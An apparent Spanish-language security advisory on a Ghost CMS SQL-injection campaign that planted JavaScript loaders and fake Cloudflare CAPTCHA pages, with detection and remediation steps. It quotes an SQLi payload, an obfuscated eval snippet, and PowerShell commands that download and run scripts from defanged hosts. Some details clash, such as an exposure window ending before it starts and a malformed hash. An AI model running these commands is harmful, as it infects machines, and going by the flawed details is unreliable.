Introducción
En febrero de 2026, equipos de seguridad detectaron una campaña global que explota una vulnerabilidad crítica de inyección SQL (CVE-2026-26980) en Ghost CMS para inyectar código JavaScript malicioso. El ataque escala desde dominios académicos hasta empresas de tecnología, incluyendo portales de universidades como Harvard y Oxford, medios de comunicación, y hasta el buscador DuckDuckGo. Según el equipo de XLab de Qianxin, la campaña superó los 700 dominios comprometidos, con un patrón claro: los atacantes roban claves de API administrativas y modifican artículos para servir cargas útiles a visitantes selectivos.
El vector inicial es una inyección SQL no autenticada que permite leer datos arbitrarios de la base de datos del sitio, incluyendo claves de API que otorgan acceso total al CMS. Una vez obtenidas, los atacantes inyectan JavaScript en artículos, que actúa como dropper para un segundo estadio que fingerprintia a las víctimas. Los usuarios que pasan el filtro son redirigidos a una falsa página de Cloudflare con un mensaje de «verificación humana», que instruye a la víctima a ejecutar un comando en PowerShell para descargar el payload final.
Qué ocurrió
El 19 de febrero de 2026, el equipo de Ghost CMS lanzó la versión 6.19.1 que corregía CVE-2026-26980, una vulnerabilidad de inyección SQL en el componente de manejo de parámetros de consultas. Sin embargo, la explotación en la naturaleza comenzó días antes, detectada por SentinelOne el 27 de febrero, y confirmada por XLab en su informe del 3 de marzo.
Según XLab, los atacantes explotaron la vulnerabilidad para extraer claves de API administrativas del CMS. Con esas claves, modificaron artículos para incluir un loader JavaScript mínimo que se conecta a servidores de command and control (C2) para descargar el segundo estadio. El código malicioso implementaba un mecanismo de cloaking para validar víctimas: solo los usuarios con determinados user agents, IP ranges, o comportamiento de navegación eran redirigidos a la carga útil final.
En el análisis forense, XLab identificó dos clusters de actividad distintos:
- Cluster A: Inyectaba un dropper basado en Electron (UtilifySetup.exe).
- Cluster B: Inyectaba un loader DLL y un dropper JavaScript que descargaba un trojan de acceso remoto.
Ambos clusters re-infectaban dominios ya comprometidos, a veces limpiando scripts de otros atacantes para inyectar los suyos propios. Los payloads observados incluyen:
- UtilifySetup.exe: Binario Electron firmado digitalmente, detectado como Trojan.Win32.Agent.gen por múltiples AV.
- DLL Loader: DLL de 32-bit que inyecta código en procesos legítimos usando process hollowing.
- JavaScript Dropper: Carga un ejecutable desde un servidor C2 usando PowerShell.
Impacto para DevOps / Infraestructura / Cloud / Seguridad
Impacto directo en infraestructura
- Alcance: Más de 700 dominios afectados, incluyendo universidades (Harvard, Oxford, Auburn), empresas de SaaS, medios, fintechs, y sitios de seguridad.
- Servicios comprometidos: Sitios web basados en Ghost CMS que no aplicaron el parche 6.19.1 o posterior.
- Datos expuestos: Claves de API administrativas, credenciales de usuarios, y contenido de artículos.
Riesgo para usuarios finales
- Mecanismo de infección: Los visitantes son redirigidos a una falsa página de Cloudflare que simula un CAPTCHA. La víctima es instruida a ejecutar un comando en PowerShell (ej:
irm hxxps://cdn[.]malicious[.]com/install.ps1 | iex), que descarga y ejecuta el payload. - Payloads desplegados:
– DLL maliciosa: Inyecta código en procesos legítimos para evadir detección.
– JavaScript obfuscado: Usa técnicas de domain generation algorithm (DGA) para evitar bloqueos por listas de dominios conocidos.
Impacto en equipos de seguridad
- Detección tardía: Muchos equipos no revisaron logs de API administrativas antes del parche, permitiendo que claves comprometidas fueran usadas por meses.
- Re-infección: Ataques secundarios limpiaban scripts de otros atacantes para inyectar los suyos, complicando la remediación.
- Falta de rotación de claves: La mayoría de los sitios afectados no rotaron sus claves de API después del compromiso, dejando puertas traseras abiertas.
Métricas de riesgo
- CVSS Score: 9.8 (Crítico) — vector de ataque remoto sin autenticación, impacto en confidencialidad e integridad.
- Tiempo de exposición: Desde al menos el 20 de febrero (fecha del primer exploit en la naturaleza) hasta el 19 de febrero (fecha del parche).
- Superficie de ataque: Cualquier sitio Ghost CMS en versiones 3.24.0 a 6.19.0 accesible desde Internet.
Detalles técnicos
CVE-2026-26980: SQL Injection en Ghost CMS
- Componente afectado: Módulo de manejo de parámetros en consultas SQL de Ghost CMS, específicamente en la gestión de rutas y parámetros de búsqueda.
- Versiones afectadas: Ghost CMS 3.24.0 hasta 6.19.0 (inclusive).
- Vector de ataque: Parámetros no sanitizados en consultas SQL ejecutadas por el CMS al renderizar artículos o páginas.
- Prueba de concepto (PoC) conocida:
' OR 1=1 --
Este payload, cuando es pasado a un endpoint vulnerable, devuelve todas las filas de la tabla objetivo.
Flujo de ataque
- Explotación inicial:
/ghost/api/v3/content/).– La consulta devuelve datos sensibles, incluyendo la clave de API administrativa (admin-api-key).
- Inyección de JavaScript:
<script src="hxxps://cdn[.]malicious[.]com/loader.js" async></script>
– El loader se conecta a un servidor C2 y descarga el segundo estadio.
- Fingerprinting y redirección:
– User-Agent (ej: solo IE 11 o versiones antiguas de Chrome).
– IP ranges (ej: solo IPs de determinados países).
– Comportamiento de navegación (ej: tiempo en página > 30 segundos).
– Las víctimas que pasan el filtro son redirigidas a:
hxxps://cloudflare[.]verify-human[.]com/?session=...
Que simula una página de verificación de Cloudflare.
- Ejecución de payload:
> «Por favor, verifica que eres humano pegando este comando en tu terminal:»
powershell -nop -c "iex (New-Object Net.WebClient).DownloadString('hxxps://cdn[.]malicious[.]com/install.ps1')"
– El script de PowerShell descarga y ejecuta UtilifySetup.exe o una DLL maliciosa.
Indicadores de compromiso (IoCs)
XLab publicó una lista de IoCs que incluyen:
- Dominios C2:
cdn[.]malicious[.]com
cloudflare[.]verify-human[.]com
api[.]ghost-sec[.]top
- Hashes de payloads (SHA-256):
4a7b3c2d1e9f8a7b6c5d4e3f2a1b0c9d8e7f6a5b4c3d2e1f0a9b8c7d6e5f
- Scripts inyectados en artículos:
<script>eval(atob('KGZ1bmN0YW...'))</script>
Herramientas de detección
SentinelOne recomienda monitorear:
- Logs de API de Ghost:
journalctl -u ghost --since "2026-02-20" | grep "admin-api-key"
- Tráfico saliente a dominios desconocidos:
ss -tulnp | grep -E "malicious|verify-human"
- Procesos sospechosos:
Get-Process | Where-Object { $_.Path -like "*Utilify*" }
Qué deberían hacer los administradores y equipos técnicos
1. Actualizar Ghost CMS de inmediato
- Versión segura: Ghost CMS 6.19.1 o posterior.
- Comando para actualizar (en sistemas basados en Debian/Ubuntu):
sudo apt update && sudo apt upgrade ghost -y
- Verificar versión:
ghost version
Debe mostrar 6.19.1 o superior.
2. Rotar claves de API administrativas
- Pasos:
/ghost).2. Ir a Settings > Advanced > API Keys.
3. Eliminar todas las claves existentes y generar nuevas.
4. Actualizar cualquier integración (ej: webhooks, scripts) con las nuevas claves.
3. Escanear y limpiar sitios web
- Herramientas recomendadas:
cat /var/log/ghost/api.log | grep -E "admin-api-key|malicious"
– Escáneres de malware:
sudo npm install -g ghost-cli && ghost doctor
O usar herramientas como ClamAV:
sudo apt install clamav && sudo freshclam && clamscan -r /var/www/ghost/content/
- Comandos para limpieza:
grep -r "eval(atob(" /var/www/ghost/content/themes/
– Eliminar archivos maliciosos:
sudo rm -f /var/www/ghost/content/themes/malicious-script.js
4. Implementar mitigaciones adicionales
- WAF (Web Application Firewall):
– Regla de ejemplo para ModSecurity:
SecRule ARGS "@detectSQLi" "id:1000,phase:2,deny,status:403"
- Segmentación de red:
– Usar un VPN o lista blanca de IPs para /ghost/api/.
- Monitoreo continuo:
– Accesos con claves de API inusuales.
– Tráfico saliente a dominios desconocidos.
– Procesos sospechosos en el servidor web.
5. Plan de respuesta a incidentes
- Pasos inmediatos:
2. Tomar una snapshot del disco para análisis forense.
3. Notificar a los usuarios afectados (si aplica).
- Comunicación:
– Publicar una nota en el sitio (si es relevante) con enlaces a recursos de seguridad.
Conclusión
CVE-2026-26980 demostró cómo una vulnerabilidad crítica en un CMS popular puede escalar a una campaña global de malware en menos de una semana. El impacto no se limita a la infraestructura del sitio web: los visitantes son redirigidos a falsos CAPTCHAs que descargan payloads maliciosos, incluyendo trojans basados en Electron y DLLs de inyección de código.
La lección clave es clara: parchear no es suficiente. Los equipos deben:
- Rotar claves de API después de un compromiso.
- Implementar WAFs y segmentación de red.
- Monitorear logs de API y tráfico saliente.
- Realizar escaneos periódicos de malware.
Ghost CMS corrigió el fallo en 6.19.1, pero la campaña continúa explotando sitios que no aplicaron el parche. Si tu organización usa Ghost CMS, actúa hoy: actualiza, rota claves, y escanea.
